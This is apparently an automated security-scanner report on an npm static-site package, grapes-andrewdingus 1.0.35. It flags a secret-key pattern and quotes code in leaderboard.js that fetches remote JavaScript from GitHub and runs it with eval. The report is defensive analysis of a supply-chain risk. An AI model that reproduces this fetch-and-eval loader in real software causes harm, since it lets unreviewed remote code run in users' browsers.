registry / Remote code execution / grapes-andrewdingus
grapes-andrewdingus
GRAPES OS static site — CDN-ready via unpkg
This report shows the evidence for grapes-andrewdingus@1.0.35. 4 of 11 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 4mo ago · by lpm-firewall-aiDirect source inspection confirms a runtime fetch-and-eval path for remote JavaScript, which is a concrete remote-code execution/staged payload behavior. The absence of install hooks reduces install-time risk but does not neutralize the browser-runtime payload loader shipped in the package.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review
Trigger
browser visit to leaderboard.html
Impact
remote code execution in the page context; remote payload can alter DOM, access same-origin browser storage, and drive user-facing behavior
Mechanism
fetch remote JavaScript and eval it
Attack narrative
When a user opens the packaged leaderboard page, assets/js/leaderboard.js fetches a mutable JavaScript file from raw.githubusercontent.com and passes the response directly to eval. That lets code outside the npm package execute in the page context without npm review or integrity pinning.
AI rationale
Direct source inspection confirms a runtime fetch-and-eval path for remote JavaScript, which is a concrete remote-code execution/staged payload behavior. The absence of install hooks reduces install-time risk but does not neutralize the browser-runtime payload loader shipped in the package.
Evidence
package.jsonleaderboard.htmlassets/js/leaderboard.jsassets/js/app_functions.js
Network endpoints2
raw.githubusercontent.com/grapes-os/grapes-os-leaderboard/main/scores.jshqlgppguxhqeaonjzinv.supabase.co
Decision evidence
public snapshotAI called this Malicious at 95.0% confidence as Malware with low false-positive risk.
Evidence for block
- assets/js/leaderboard.js fetches remote scores.js from raw.githubusercontent.com.
- assets/js/leaderboard.js immediately evals the fetched text in main().
- leaderboard.html loads assets/js/leaderboard.js for browser visitors.
- assets/js/app_functions.js connects to Supabase and loads remote app data into iframes.
- No npm lifecycle hooks, but malicious behavior is runtime-triggered from packaged web page.
Evidence against
- package.json has no install/preinstall/postinstall scripts.
- No child_process, filesystem writes, native binary loading, or AI-agent control-surface writes found.
- Supabase key is an anon browser key pattern, not evidence of credential theft by itself.
Behavioral surface
EvalNetwork
HighEntropyStringsUrlStrings
Source & flagged code
6 flagged · loading sourceassets/js/app_functions.jsView file
3patternName = supabase_service_key
severity = critical
line = 3
matchedText = "eyJhbGc...w8";
Critical
Critical Secret
Package contains a critical-looking secret pattern.
assets/js/app_functions.jsView on unpkg · L33patternName = supabase_service_key
severity = critical
line = 3
matchedText = "eyJhbGc...w8";
Critical
Secret Pattern
Supabase service role key (JWT) in assets/js/app_functions.js
assets/js/app_functions.jsView on unpkg · L3assets/js/leaderboard.jsView file
36async function getScores() {
L37: let response = await fetch(
L38: "https://raw.githubusercontent.com/grapes-os/grapes-os-leaderboard/main/scores.js",
L39: );
L40: return await response.text(); // is promise for whatever reason
L41: }
...
L45: let js_code = await getScores();
L46: eval(js_code); // never use eval
L47: } catch (e) {
Critical
Findings
3 Critical2 High3 Medium2 Low
CriticalCritical Secretassets/js/app_functions.js
CriticalRemote Asset Decode Executeassets/js/leaderboard.js
CriticalSecret Patternassets/js/app_functions.js
HighEvalassets/js/leaderboard.js
HighKnown Malware Source Similarityassets/js/leaderboard.js
MediumNetwork
MediumShips Build Helperprepare-unpkg.ps1
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to grapes-andrewdingus@1.0.35.
The versions list below shows the verdict for each recorded version.
- Avoid installing grapes-andrewdingus@1.0.35. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.